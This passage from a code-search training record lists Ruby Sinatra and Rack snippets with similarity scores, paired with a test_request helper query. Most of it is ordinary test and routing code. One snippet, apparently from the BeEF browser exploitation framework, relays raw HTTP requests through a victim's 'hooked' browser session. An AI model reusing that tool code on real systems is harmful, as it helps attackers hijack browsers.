"def app\n Sinatra::Application\nend",
"def app\n Sinatra::Application\nend",
"def app\n Sinatra::Application\nend",
"def app\n Sinatra::Application\nend",
"def app\n Sinatra::Application\nend",
"def weber; end",
"def app\n\tSinatra::Application.new\nend",
"def sinatra_helpers\n @sinatra_helpers ||= []\n end",
"def app\n Sinatra::Application\n end",
"def rack_input ; @env['rack.input'] ; end",
"def match(req)\n end",
"def rackup(path); end",
"def get(path)\n HTTParty.get(\"http://localhost:3000#{path}\")\nend",
"def url_test\n response = HTTParty.get('http://www.baidu.com')\n res = Rack::Response.new\n res.write response.body\n res.finish\n end",
"def mock_app(base=Sinatra::Base, &block)\n @app = Sinatra.new(base, &block)\n end",
"def mock_app(base=Sinatra::Base, &block)\n @app = Sinatra.new(base, &block)\n end",
"def mock_app(base=Sinatra::Base, &block)\n @app = Sinatra.new(base, &block)\n end",
"def app\n\t\tSinatra::Application #where computer is finding all the tests?\n\tend",
"def app\n\t\tSinatra::Application\n\tend",
"def test_when_not_headers\n @middleware = Rack::Hard::Load.new(MockApp.new, :store => \"/tmp/static_copy_minitest\")\n assert_expected_response @middleware.call(@default_env), nil\n\n assert_expected_response @middleware.call(@default_env.merge({ 'PATH_INFO' => '/foo/bah.txt' })), nil\n end",
"def call(my_env_var)\n \t# This object represents the responses\n my_response_var = Rack::Response.new\n \n # This object represents the requests\n my_request_var = Rack::Request.new(my_env_var)\n \n # navigate to: \n # http://localhost:9292/index (or http://localhost:9292/indexyz1234) <=# this will actually work\n # ...in the VM machine's web browser\n if my_request_var.path.match(/index/)\n my_response_var.write \"The \\\"#{self.class.name}\\\" class is working just fine \\n\"\n my_response_var.write \"This little web app features a list of 3 simple items\\n\"\n my_response_var.write \"In order to see them, enter the following path in the URL:\\n\"\n my_response_var.write \"http://localhost:9292/items\"\n\n # navigate to: \n # http://localhost:9292/items (or http://localhost:9292/itemstuvwxyz) <=# this will actually work\n # ...in the VM machine's web browser\n elsif my_request_var.path.match(/items/)\n @@items.each do |item|\n my_response_var.write \"#{item}\\n\"\n end\n else \n # navigate to: \n # http://localhost:9292/something/else\n # ...in the VM machine's web browser\n my_response_var.write \"Path Not Found\"\n end \n my_response_var.finish\n end",
"def rack_standard(env)\n @req = Rack::Request.new(env)\n # puts \"here in standard rack handler\"\n @res = Rack::Response.new\n @res.write(\"Hey from a standard rack app\")\n @res.finish\n end",
"def hello_hello_app(code = 200)\n ->(*) { [code, { 'Content-Length' => 11, 'Content-Type' => 'text/html; charset=utf-8' }, ['Hello Hello']] }\nend",
"def initialize_server(port)\r\n set :port, port # Specify Port For Sinatra Server\r\n set :bind, \"0.0.0.0\" # Allow Ping From External Devices\r\n set :environment, :production # Allow External Nodes To Query Websocket\r\n set :run, true # Start Sinatra Server\r\nend",
"def rack_builder; end",
"def rackup(app); return @@rack.call(app); end",
"def negotiate!; end",
"def http; end",
"def rack_hijack_io ; @env['rack.hijack_io'] ; end",
"def app\n @app ||= Sinatra.new Questionnaire::Application\nend",
"def app\n @rack_app ||= Rack::Builder.parse_file('config.ru').first\nend",
"def test_application_running\n get '/v1/main'\n assert last_response.ok?\n assert last_response.body.include?('Hello world')\n end",
"def middleware; end",
"def app\n # Load the application defined in config.ru\n Rack::Builder.parse_file('config.ru').first\nend",
"def test_racket_key\n server_run app: ->(env) { [200, {'Racket' => 'Bouncy'}, []] }\n data = send_http_and_read \"GET / HTTP/1.0\\r\\n\\r\\n\"\n\n assert_match(/HTTP\\/1.0 200 OK\\r\\nRacket: Bouncy\\r\\nContent-Length: 0\\r\\n\\r\\n/, data)\n end",
"def app\n # Load the application defined in config.ru\n Rack::Builder.parse_file('config.ru').first\nend",
"def app\n # Load the application defined in config.ru\n Rack::Builder.parse_file('config.ru').first\nend",
"def bottle_prefix; prefix+'.bottle' end",
"def app\n # Load the application defined in config.ru\n Rack::Builder.parse_file(\"config.ru\").first\nend",
"def test_integer_value\n server_run app: ->(env) { [200, {'Content-Length' => 500}, []] }\n data = send_http_and_read \"GET / HTTP/1.0\\r\\n\\r\\n\"\n\n assert_match(/HTTP\\/1.0 200 OK\\r\\nContent-Length: 500\\r\\n\\r\\n/, data)\n end",
"def call(env)\n resp = Rack::Response.new\n req = Rack::Request.new(env)\n\n if req.path.match(/items/)\n item_name = req.path.split(\"/items/\").last #uses regex to split and remove the folder\n #remember that split needs to be on a string\n #ex; turn /songs/Sorry into Sorry\n item = @@items.find{|i| i.name == item_name}\n if item\n resp.write item.price #price and name are the two attributes of the item class\n else\n resp.write \"Item not found\"\n resp.status = 400\n end\n else #returns 404 status code for a bad route\n resp.status = 404\n resp.write \"Route not found\"\n end\n\n resp.finish\n end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def test? ; @app.options[:env] == :test ; end",
"def endpoint; end",
"def endpoint; end",
"def endpoint; end",
"def endpoint; end",
"def mock_app(base=Sinatra::Base, &block)\n @app = Sinatra.new(base, &block)\n end",
"def test_app\n get '/'\n assert last_response.ok?\n assert_equal 200, last_response.status\n end",
"def _call(env)\n @env = env\n @req = Rack::Request.new(env)\n @res = Rack::Response.new\n @matched = false\n instance_eval(&@blk)\n @res.status = 404 unless @matched || !@res.empty?\n @res.finish\n end",
"def raw_response; end",
"def middlewares=(_arg0); end",
"def valid_response\n Rack::Response.new('OK').finish\nend",
"def body_io; end",
"def body_io; end",
"def app # def app is something that Rack::Test is looking for\n TaskManager\n end",
"def middleware=(_arg0); end",
"def call env\r\n raw = nil\r\n self.class.env = env\r\n #\r\n # match route\r\n # support : String, Regexp\r\n # rel - nil| body| [status,{header},[bodys]]\r\n #\r\n req = Rack::Request.new env\r\n self.class.params = req.params\r\n method = env[\"REQUEST_METHOD\"].downcase\r\n settings[:route][method.to_sym].each do |p|\r\n case p[:path]\r\n when String\r\n if env[\"REQUEST_PATH\"] == p[:path]\r\n raw = p[:proc].call\r\n end\r\n when Regexp\r\n if env[\"REQUEST_PATH\"] =~ p[:path]\r\n if !p[:extend_key].nil? # analize extend_params like /hehe/:id\r\n req.params[p[:extend_key].to_sym] = $1\r\n end\r\n raw = p[:proc].call\r\n end\r\n else\r\n throw :illegal_route\r\n end\r\n end\r\n #\r\n # anaylize raw\r\n # nil - return not_found\r\n # Array - return raw if match [fixnum, hash, array]\r\n # other - return [200, {}, [other.to_s]]\r\n #\r\n status = 200\r\n header = {}\r\n bodys = \"\"\r\n if raw.nil?\r\n not_found\r\n else\r\n bodys = raw\r\n if Array === raw\r\n status = raw[0]\r\n header = raw[1]\r\n bodys = raw[2]\r\n end\r\n if settings[:json] == true\r\n bodys = bodys.to_json\r\n end\r\n if Array === bodys\r\n bodys = bodys.map{|e| e.to_s}\r\n [status, header, bodys]\r\n else\r\n [status, header, [bodys.to_s]]\r\n end\r\n end\r\n end",
"def get_response(uri, req)\n Net::HTTP.start(uri.hostname, uri.port){|http| http.request(req) }\nend",
"def middleware(&block); end",
"def call(request); end",
"def request(*args); end",
"def run_app(app, env)\n setup_rack(app).call(env)\nend",
"def setup\n Sinatra::Base.set :environment, :test\n end",
"def req\n \n end",
"def stack\n # map your apps here...\n map \"/hello\" do\n run HelloWorld.new\n end\n\n map \"/lobster\" do\n require 'rack/lobster'\n use Rack::ShowExceptions\n use Rack::Auth::Basic, \"Lobster 2.0\" do |username, password|\n 'secret' == password\n end\n run Rack::Lobster.new \n end\n\nend",
"def spec; end",
"def spec; end",
"def test_readme\n get '/readme'\n assert last_response.body.include?('this is my readme')\n end",
"def ui?\n defined? Sinatra\nend",
"def pm\n @pm ||= PM::SinatraApp.instance.pm\nend",
"def route(path = T.unsafe(nil)); end",
"def request(*args, &block); end",
"def test_logged_in_user_access_to_userland_approved\n # first log in\n post '/login', { :username => GOOD_USERNAME, :password => GOOD_PASSWORD }\n\n # then specifically request the index page in userland\n get '/in/index'\n assert last_response.ok?\n assert last_response.body.include?('You are logged in as') \n assert last_response.body.include?(GOOD_USERNAME) \n end",
"def before_anyway\n set_path\n set_current\n # allows us to extend the definition of non-existence\n raise Sinatra::NotFound unless found?\n end",
"def setup\n Capybara.app = Sinatra::Application.new\n end"
] |
[
"0.63572",
"0.5874639",
"0.5802666",
"0.5739776",
"0.570703",
"0.5657517",
"0.55728424",
"0.55590314",
"0.5553015",
"0.5535025",
"0.5535025",
"0.55182016",
"0.5504447",
"0.5498304",
"0.5498304",
"0.5498304",
"0.5498304",
"0.5498304",
"0.5498304",
"0.5498304",
"0.54797447",
"0.5479687",
"0.54543805",
"0.5452333",
"0.5446322",
"0.5435941",
"0.5432242",
"0.54044276",
"0.5383433",
"0.53816104",
"0.53816104",
"0.53816104",
"0.53757435",
"0.53636056",
"0.53252614",
"0.5322745",
"0.5303418",
"0.528934",
"0.5286138",
"0.52538985",
"0.52424586",
"0.5216355",
"0.5214788",
"0.52038586",
"0.51924425",
"0.51917887",
"0.51824987",
"0.5181688",
"0.517863",
"0.51717854",
"0.51659274",
"0.51659274",
"0.51637775",
"0.5154965",
"0.5152214",
"0.51453954",
"0.51439327",
"0.51439327",
"0.51439327",
"0.51439327",
"0.51439327",
"0.51439327",
"0.51439327",
"0.51439327",
"0.51439327",
"0.51439327",
"0.51439327",
"0.5141258",
"0.51361644",
"0.51361644",
"0.51361644",
"0.51361644",
"0.5135516",
"0.512888",
"0.5119367",
"0.5117153",
"0.5112005",
"0.5111761",
"0.51100254",
"0.51100254",
"0.51072705",
"0.5105407",
"0.5103607",
"0.50923973",
"0.50864",
"0.5084747",
"0.507693",
"0.50707984",
"0.5070383",
"0.50649166",
"0.50553495",
"0.5055217",
"0.5055217",
"0.5050457",
"0.5045451",
"0.5035958",
"0.5029448",
"0.50292814",
"0.5026792",
"0.50138247",
"0.50131506"
] |
0.0
|
-1
|
test_request comes mostly from the guts of route! in Sinatra::Base
|
def test_request(method, path, params={})
@params = indifferent_params(params)
@request = Sinatra::Request.new(env)
@request.path_info = path # sinatra 1.3.3
@__protected_ivars = instance_variables + ["@__protected_ivars"]
# routes are stored by uppercase method, but I wanted the test interface
# to accept :get or 'get' as well as 'GET'
test_request_internal self.class, method.to_s.upcase
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def call(request)\n test request\n end",
"def setup\n @requester = Rack::MockRequest.new(SampleApp)\n end",
"def test_request\n get \"/example/route\"\n assert last_response.ok?\n body = last_response.body\n assert body[\"Hello\"]\n end",
"def test_request\n if defined?(ActionDispatch) # Rails 3.x\n ActionDispatch::TestRequest.new\n else # Rails 2.x\n ActionController::TestRequest.new\n end\n end",
"def mock_req\n Waxx::Req.new(ENV, {}, 'GET', \"/test/test/1\", {}, {}, {}, Time.new).freeze\n end",
"def request(*args, &block); end",
"def test_success\n assert_equal('kaboodle', make_request.handle)\n end",
"def send_request(req); end",
"def request\n @request ||= Rack::MockRequest.new(mack_app)\n end",
"def test_truth\n r = Request.new()\n end",
"def match(req)\n end",
"def call(request); end",
"def set_request; end",
"def app\n Sinatra::Application # It is must and tell rspec that test it running is for sinatra\nend",
"def on_request_uri(cli, request)\r\n random_content = '<html><head></head><body><p>'+Rex::Text.rand_text_alphanumeric(20)+'<p></body></html>'\r\n send_response(cli, random_content)\r\n\r\n @received_request = true\r\n end",
"def request(endpoint, request, &block); end",
"def request(*args); end",
"def make_request(request)\n puts \"\\n\\n\"\n puts \"==> Request, action='#{request.path}', params = #{request.query}...\"\n\n action = request.path.to_s.split(\"/\")[-1]\n\n if action && @app.valid?(action) then\n response = @app.send(action.to_sym, request.query)\n\n return response\n end\n\n return \"Error: Unrecognised action: #{action}\"\n rescue Exception => e\n $stderr.puts \"*** [E]: #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n return \"Error: #{e}\"\n end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def send_request; end",
"def _request(verb, uri, params={}, env={})\n send(\"rack_test_#{verb}\", uri, params, env)\n self.class.metadata[:session] = current_session\n\n response_data = begin\n JSON.load(last_response.body)\n rescue JSON::ParserError\n last_response.body\n end\n\n yield response_data if block_given?\n end",
"def receive(request); end",
"def run_request(method, url, body, headers); end",
"def test\n Srchio::Response.new(self.class.get(\"/test\"))\n end",
"def make_request(action, params = {})\n path = params[:path] || \"/\"\n method = params[:method] || \"post\"\n env = Rack::MockRequest.env_for(path, params: params.except(:path).except(:method), method: method)\n status, headers, body = described_class.action(action).call(env)\n @response = ActionDispatch::TestResponse.new(status, headers, body)\n @controller = body.instance_variable_get(:@response).request.env['action_controller.instance']\nend",
"def assert_requests!\n super\n expect(action_request.uri.to_s).to eq(current_config[:voice_request_url])\n end",
"def route() request.route end",
"def request(req, body = nil, &block)\n response = alias_for_request(req, body)\n path = \"http://#{req.bauth if req.bauth}#{req['host']}#{req.path}\"\n if @@fakes[req.method][path]\n @@fakes[req.method][path] << {:body => response.body.to_s}\n else\n @@fakes[req.method][path] = [:body => response.body.to_s]\n end\n return response\n end",
"def setup\n @request = ActionController::TestRequest.new\n @request.env['REQUEST_URI'] = \"http://localhost\"\n @request.env['HTTP_USER_AGENT'] = \"TestUA\"\n TLA_CONFIG['caching'] = false\n TLA_CONFIG['testing'] = true\n end",
"def test_process_url_params_idempotent\n # verify that using url method from RestClient doesn't change existing url\n request_url=@@dummy_host+\"/users/self/upcoming_events?as_user_id=sis_login_id:studenta\"\n full_request_url = RestClient::Request.new(:method => :get, :url => request_url).url\n #puts \"full_request_url: [#{full_request_url}]\"\n refute_nil full_request_url\n assert_equal(request_url, full_request_url)\n end",
"def mock_request( params, response_body )\n mock_post = {}\n mock_post.expects(:set_form_data).with(params)\n #mock.expects(:[]=).with('user-agent', anything)\n\n url = Smsinabox.uri\n Net::HTTP::Post.expects(:new).with( url.path ).returns(mock_post)\n\n response = Net::HTTPSuccess.new('1.1', 200, 'OK')\n response.instance_variable_set :@body, response_body\n response.instance_variable_set :@read, true\n\n mock_http = Object.new\n mock_http.expects(:start).returns(response)\n\n Net::HTTP.expects(:new).with( url.host, url.port ).returns(mock_http)\nend",
"def call(env)\n\n # This ugly hack should fix the issue with Rack::Test where\n # these two variables are empty and Rack::Test will always\n # return 404.\n #\n if env['rack.test']\n env['REQUEST_URI'] = env['PATH_INFO']\n env['REQUEST_PATH'] = env['PATH_INFO']\n end\n\n # Split URI to components and then extract ;var=value pairs\n matrix_params = {}\n uri_components = (env['rack.test'] ? env['PATH_INFO'] : env['REQUEST_URI']).split('/')\n\n uri_components.each do |component|\n sub_components, value = component.split(/\\;(\\w+)\\=/), nil\n next unless sub_components.first # Skip subcomponent if it's empty (usually /)\n while param=sub_components.pop do\n if value\n matrix_params[sub_components.first] ||= {}\n matrix_params[sub_components.first].merge!(param => value)\n value=nil\n next\n else\n value = param.gsub(/\\?.*$/, '')\n end\n end\n end\n\n # Two things need to happen to make matrix params work:\n # (1) the parameters need to be appended to the 'normal' params\n # for the request. 'Normal' really depends on the content\n # type of the request, which does not seem accessible from\n # Middleware, so we use the existence of\n # rack.request.form_hash in the environment to distinguish\n # between basic and application/x-www-form-urlencoded\n # requests\n # (2) the parameters need to be stripped from the appropriate\n # path related env variables, so that request dispatching\n # does not trip over them\n\n # (1) Rewrite current path by stripping all matrix params from it\n ['REQUEST_PATH', 'REQUEST_URI', 'PATH_INFO'].select { |k|\n env[k] }.each do |k|\n env[k] = env[k].remove_matrix_params\n end\n\n # (2) Append the matrix params to the 'normal' request params\n # FIXME: Make this work for multipart/form-data\n if env['rack.request.form_hash']\n # application/x-www-form-urlencoded, most likely a POST\n env['rack.request.form_hash'].merge!(matrix_params)\n else\n # For other methods it's more complicated\n if env['REQUEST_METHOD']!='POST' and not matrix_params.keys.empty?\n env['QUERY_STRING'] = env['QUERY_STRING'].gsub(/;([^\\/]*)/, '')\n new_params = matrix_params.collect do |component, params|\n params.collect { |k,v| \"#{component}[#{k}]=#{CGI::escape(v.to_s)}\" }\n end.flatten\n # Add matrix params as a regular GET params\n env['QUERY_STRING'] += '&' if not env['QUERY_STRING'].empty?\n env['QUERY_STRING'] += \"#{new_params.join('&')}\"\n end\n end\n @app.call(env)\n end",
"def url_test\n response = HTTParty.get('http://www.baidu.com')\n res = Rack::Response.new\n res.write response.body\n res.finish\n end",
"def call(env)\n @request = Rack::Request.new(env)\n verb = @request.request_method\n requested_path = @request.path_info\n handler = @routes.fetch(verb, {}).fetch(requested_path, nil)\n\n if handler\n # give handler access to all of the methods, on the instance of Nancy::Base\n result = instance_eval(&handler)\n # If a handler returns a string, assume that it is a successful response, and so we construct a successful Rack response\n # otherwise, we return the result of the block as-is\n # [status, header, body]\n if result.class == String\n [200, {}, [result]]\n else\n result\n end\n else\n [404, {}, [\"Oops! No route for #{verb} #{requested_path}\"]]\n end\n end",
"def handle_request(request)\n if request =~ /^(\\w+)\\s+(.*)\\s+HTTP/ then\n r_type = $1.downcase.to_sym\n path = $2\n log(\"Request: [#{r_type}] '#{path}'\")\n found = false\n value = nil\n @handlers.each do |handler|\n if handler[:methods].index(r_type) != nil and handler[:expr].match(path) then\n found = true\n value = handler[:handler].call(self, path, Regexp.last_match)\n break\n end\n end\n (found and value) ? value : respond_resource_not_found(path)\n else\n make_response(type = \"text/html\", compressed = false, code = 400, msg = \"Bad Request\")\n end\n end",
"def mock_request\n super.merge(uri_end_of_path: true)\n end",
"def test!\n @@api.post(endpoint: self.endpoint + ['test'])\n end",
"def process_http_request\n route_http_request\n end",
"def request(*args)\n end",
"def setup_fixtured_request( action, *args )\n\t\turi = '/' + File.join( @appletname, action.to_s )\n\t\treq = Apache::Request.new( uri )\n\n\t\tparams = args.last.is_a?( Hash ) ? args.pop : {}\n\t\tdebug_msg \"Parameters hash set to: %p\" % [params]\n\t\treq.paramtable = params\n\n\t\tdebug_msg \"Request is: %p\" % [req]\n\t\t#txn = Arrow::Transaction.new( req, @config, nil )\n\t\ttxn = flexmock( \"transaction\" )\n\t\ttxn.should_receive( :request ).\n\t\t and_return( req ).zero_or_more_times\n\t\ttxn.should_receive( :vargs= ).\n\t\t with( Arrow::FormValidator ).zero_or_more_times\n\t\t\n\t\tvargs = flexmock( \"form validator\" )\n\t\ttxn.should_receive( :vargs ).\n\t\t\tand_return( vargs ).\n\t\t\tzero_or_more_times\n\t\tvargs.should_receive( :[] ).zero_or_more_times\n\t\t\n\t\tdebug_msg \"Transaction is: %p\" % [txn]\n\t\treturn txn, req, vargs, *args\n\tend",
"def setup\n Sinatra::Base.set :environment, :test\n end",
"def request\n @request ||= ActionDispatch::TestRequest.create.tap do |request|\n request.request_id = SecureRandom.uuid\n end\n end",
"def request(action = :echo)\n @request = Rack::MockRequest.new(RocketPants::CacheMiddleware.new(controller_class.action(action)))\n end",
"def get_request(request_data = {}, errback = DEFAULT_ERROR, &blk)\n req = create_test_request(request_data).get(request_data)\n hookup_request_callbacks(req, errback, &blk)\n end",
"def recognize_request(path, verb=nil)\n path = \"/#{path}\" unless path.first == '/'\n # Assume given controller\n request = ActionController::TestRequest.new({})\n request.env[\"REQUEST_METHOD\"] = verb.to_s.upcase if verb\n request.path = path\n ActionController::Routing::Routes.recognize(request)\n request\n end",
"def request=(_arg0); end",
"def request=(_arg0); end",
"def request=(_arg0); end",
"def test_handles_failure_to_create_request_object\n if defined?(ActionDispatch::Request)\n ActionDispatch::Request.stubs(:new).raises('bad news')\n\n assert_raises RuntimeError do\n get '/foo/bar?q=12'\n end\n\n assert_equal('unhandled error', last_error.message)\n assert_equal('/foo/bar', last_error.params[:request_uri])\n end\n end",
"def request_setup(method, path, params)\n Proc.new do |request|\n end\n end",
"def test\n get(\"/help/test\")\n end",
"def make_request url, method: ::Rack::GET, body: nil, headers: []\n env = Testing.build_standard_env URI(url), headers\n env[::Rack::REQUEST_METHOD] = method\n env[::Rack::RACK_INPUT] = ::StringIO.new body if body\n ::Rack::Request.new env\n end",
"def assert_valid_request(method, url, *args)\n # We need to dup our args, since assert_response seems to add an extra\n # :only_path key to the hash. This looks like a rails bug.\n if args.first\n args2 = [args.first.dup]\n else\n args2 = args.dup\n end\n \n self.send(method.to_s, url.to_s, *args)\n assert_response :success\n rescue AssertRequest::RequestError => e\n flunk \"Received a RequestError exception, but wasn't expecting one: <#{e}>\"\n end",
"def do_request(request, want_reply, data); end",
"def test_app\n get '/'\n assert last_response.ok?\n assert_equal 200, last_response.status\n end",
"def on_request_uri(cli, request)\r\n print_status(\"Request: #{request.uri}\")\r\n if request.uri =~ /#{Regexp.escape(get_resource)}/\r\n print_status('Sending payload...')\r\n send_response(cli, @pl)\r\n end\r\n end",
"def run(request, response)\n matching_route = match(request)\n\n if matching_route.nil?\n response.status = 404\n\n response.write(\"Sorry! The requested URL #{request.path} was not not found!\")\n else\n matching_route.run(request, response)\n end\n end",
"def dispatch_request(cli, request)\n # Is the client requesting keep-alive?\n if ((request['Connection']) and\n (request['Connection'].downcase == 'Keep-Alive'.downcase))\n cli.keepalive = true\n end\n\n # Search for the resource handler for the requested URL. This is pretty\n # inefficient right now, but we can spruce it up later.\n p = nil\n len = 0\n root = nil\n\n resources.each_pair { |k, val|\n if (request.resource =~ /^#{k}/ and k.length > len)\n p = val\n len = k.length\n root = k\n end\n }\n\n if (p)\n # Create an instance of the handler for this resource\n handler = p[0].new(self, *p[2])\n\n # If the handler class requires a relative resource...\n if (handler.relative_resource_required?)\n # Substituted the mount point root in the request to make things\n # relative to the mount point.\n request.relative_resource = request.resource.gsub(/^#{root}/, '')\n request.relative_resource = '/' + request.relative_resource if (request.relative_resource !~ /^\\//)\n end\n\n\n # If we found the resource handler for this resource, call its\n # procedure.\n if (p[1] == true)\n Rex::ThreadFactory.spawn(\"HTTPServerRequestHandler\", false) {\n handler.on_request(cli, request)\n }\n else\n handler.on_request(cli, request)\n end\n else\n elog(\"Failed to find handler for resource: #{request.resource}\", LogSource)\n\n send_e404(cli, request)\n end\n\n # If keep-alive isn't enabled for this client, close the connection\n if (cli.keepalive == false)\n close_client(cli)\n end\n end",
"def test_routes\n assert_routing(\n { :path => \"/api/0.6/amf/read\", :method => :post },\n { :controller => \"amf\", :action => \"amf_read\" }\n )\n assert_routing(\n { :path => \"/api/0.6/amf/write\", :method => :post },\n { :controller => \"amf\", :action => \"amf_write\" }\n )\n end",
"def get_response(uri, req)\n Net::HTTP.start(uri.hostname, uri.port){|http| http.request(req) }\nend",
"def test_get_composition_with_files_warns_the_noble_developer_and_he_quickly_corrects_himself\n assert_raise(Mosquito::SageAdvice) do\n @req.query_string_params = {:hello => \"welcome\", :somefile => MockUpload.new(\"pic.jpg\") }\n end\n end",
"def test_basic_url_mapping\n skip_if :jruby\n env = { \"BUNDLE_GEMFILE\" => \"#{__dir__}/url_map_test/Gemfile\" }\n Dir.chdir(\"#{__dir__}/url_map_test\") do\n cli_server set_pumactl_args, env: env\n end\n connection = connect(\"/ok\")\n # Puma 6.2.2 and below will time out here with Ruby v3.3\n # see https://github.com/puma/puma/pull/3165\n body = read_body(connection, 1)\n assert_equal(\"OK\", body)\n end",
"def setup\n @controller = MainController.new\n @request = ActionController::TestRequest.new\n @response = ActionController::TestResponse.new\n end",
"def request(req, body = nil, &block)\n response = alias_for_request(req, body)\n\n if NetRecorder.recording?\n scope = NetRecorder.scope || 'global'\n path = \"http://#{req.bauth if req.bauth}#{req['host']}#{req.path}\"\n\n existing_fake = @@fakes.detect{|fake| fake[0] == path && fake[1][scope] && fake[1][scope][:method] == req.method}\n existing_fake[1][scope][:response] << {:response => response} and return response if existing_fake\n\n @@fakes << [path, {scope => {:method => req.method, :response => [{:response => response}]}}]\n end\n\n yield response if block\n response\n end",
"def request_to(path, method = :get, env = {})\n env[:request_method] ||= method.to_s.upcase\n env[:request_uri] = path\n \n check_request_for_route(fake_request(env))\n end",
"def test_dispatch_fires_request\n Net::HTTP.class_eval do\n def self.get_response(*_args)\n DummyResponse.new('200')\n end\n end\n\n properties = {\n 'env' => 'dummyKey',\n 'combination' => 1,\n 'url' => 'https://dev.visualwebsiteoptimizer.com/server-side/track-user',\n 'ed' => '{\"p\": \"server\"}',\n 'random' => 0.7382938446947298,\n 'ap' => 'server',\n 'u' => '09CD6107E42B51F9BFC3DD97EA900990',\n 'experiment_id' => 229,\n 'sId' => 1_565_949_670,\n 'sdk-v' => '1.0.2',\n 'sdk' => 'python',\n 'account_id' => 60_781\n }\n\n result = @dispatcher.dispatch(properties, {}, 'end_point')\n assert_equal(result, true)\n\n properties['url']\n properties['url'] = nil\n assert_send([Net::HTTP, :get_response, properties])\n end",
"def app # def app is something that Rack::Test is looking for\n TaskManager\n end",
"def test_confirm_email\n # Step 1\n turtle_response = @user.register\n assert_response(turtle_response, :success)\n assert(@user.id)\n\n # Step 2\n get '/confirm_email/em_token_123456', {}\n assert_response(@response, 404)\n\n # Step 3\n assign_http(Config[\"panda\"][\"host\"])\n\n params = { 'email' => @user.email }\n\n get '/usr', params\n assert_response(@response, :success)\n assert(@parsed_response.first['email_token'], @parsed_response)\n\n email_token = @parsed_response.first['email_token']\n\n # Step 4\n assign_http(Config[\"turtle\"][\"host\"])\n\n get \"/confirm_email/#{email_token}\", {}\n assert_response(@response, :success)\n\n # Step 5\n assign_http(Config[\"panda\"][\"host\"])\n\n params = { 'email' => @user.email }\n\n get '/usr', params\n assert_response(@response, :success)\n assert_equal(true, @parsed_response.first['verified'], @parsed_response)\n end",
"def process(request); end",
"def patch_request(request_data = {}, errback = DEFAULT_ERROR, &blk)\n req = create_test_request(request_data).patch(request_data)\n hookup_request_callbacks(req, errback, &blk)\n end",
"def test_make_sure_the_testing_structure_works\n make_controller :mock\n get :index\n assert_response :success\n get :secret_ferret_brigade\n assert_response :success\n end",
"def test_application_running\n get '/v1/main'\n assert last_response.ok?\n assert last_response.body.include?('Hello world')\n end",
"def request(req)\n self.class.paths << req.path\n self.class.params << req.body\n response = self.class.responses.shift\n if response.respond_to? :call then\n response.call req\n else\n res = Net::HTTPResponse.new '1.0', 200, 'OK'\n res.body = response\n res\n end\n end",
"def test_on_non_get_requests\n controller = new_controller\n fake_request controller, '/path1', '/referrer', get?: false\n assert_equal nil, controller.session['previous_paths']\n end",
"def test_racket_key\n server_run app: ->(env) { [200, {'Racket' => 'Bouncy'}, []] }\n data = send_http_and_read \"GET / HTTP/1.0\\r\\n\\r\\n\"\n\n assert_match(/HTTP\\/1.0 200 OK\\r\\nRacket: Bouncy\\r\\nContent-Length: 0\\r\\n\\r\\n/, data)\n end",
"def send_request\n # validate that the hooked browser's session has been sent\n zombie_session = @params['zombie_session'] || nil\n raise WEBrick::HTTPStatus::BadRequest, \"Invalid session id\" if not BeEF::Filters.is_valid_hook_session_id?(zombie_session)\n \n # validate that the hooked browser exists in the db\n zombie = Z.first(:session => zombie_session) || nil\n raise WEBrick::HTTPStatus::BadRequest, \"Invalid hooked browser session\" if zombie.nil?\n \n # validate that the raw request has been sent\n raw_request = @params['raw_request'] || nil\n raise WEBrick::HTTPStatus::BadRequest, \"raw_request is nil\" if raw_request.nil?\n raise WEBrick::HTTPStatus::BadRequest, \"raw_request contains non-printable chars\" if not BeEF::Filters.has_non_printable_char?(raw_request)\n \n # validate nonce\n nonce = @params['nonce'] || nil\n raise WEBrick::HTTPStatus::BadRequest, \"nonce is nil\" if nonce.nil?\n raise WEBrick::HTTPStatus::BadRequest, \"nonce incorrect\" if @session.get_nonce != nonce\n \n # validate that the raw request is correct and can be used\n req_parts = raw_request.split(/ |\\n/) # break up the request\n verb = req_parts[0]\n raise 'Only GET or POST requests are supported' if not BeEF::Filters.is_valid_verb?(verb) #check verb\n uri = req_parts[1]\n raise 'Invalid URI' if not BeEF::Filters.is_valid_url?(uri) #check uri\n version = req_parts[2]\n raise 'Invalid HTTP version' if not BeEF::Filters.is_valid_http_version?(version) # check http version - HTTP/1.0\n host_str = req_parts[3]\n raise 'Invalid HTTP version' if not BeEF::Filters.is_valid_host_str?(host_str) # check host string - Host:\n host = req_parts[4]\n host_parts = host.split(/:/)\n hostname = host_parts[0]\n raise 'Invalid hostname' if not BeEF::Filters.is_valid_hostname?(hostname) #check the target hostname\n hostport = host_parts[1] || nil\n if !hostport.nil?\n raise 'Invalid hostport' if not BeEF::Filters.nums_only?(hostport) #check the target hostport\n end\n\n # (re)build the request\n green_request = StringIO.new(verb + \" \" + uri + \" \" + version + \"\\n\" + host_str + \" \" + host)\n request = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)\n request.parse(green_request)\n \n # Saves the new HTTP request.\n http = H.new(\n :request => raw_request,\n :method => request.request_method,\n :domain => request.host,\n :path => request.unparsed_uri,\n :request_date => Time.now,\n :hooked_browser_id => zombie.id\n )\n \n if request.request_method.eql? 'POST'\n http.content_length = request.content_length\n end\n \n http.save\n \n @body = '{success : true}'\n end",
"def apply_request(request_env); end",
"def test_get\n assert_raise(RuntimeError) { get :raise_on_get }\n get :raise_on_post\n assert_equal @response.body, 'request method: GET'\n end",
"def call(env)\n request = Request.new(env) \n snip, part, format = request_uri_parts(request)\n if snip\n params = request.params.merge(:snip => snip, :part => part, \n :format => format, :method => request.request_method.downcase)\n [200, {\"Content-Type\" => \"text/html\"}, [Vanilla.present(params)]]\n else\n four_oh_four = Vanilla.present(:snip => 'system', :part => 'four_oh_four', :format => 'html')\n [404, {\"Content-Type\" => \"text/html\"}, [four_oh_four]]\n end\n end",
"def stub_request(*args)\n WebMock::API.stub_request(*args)\n end",
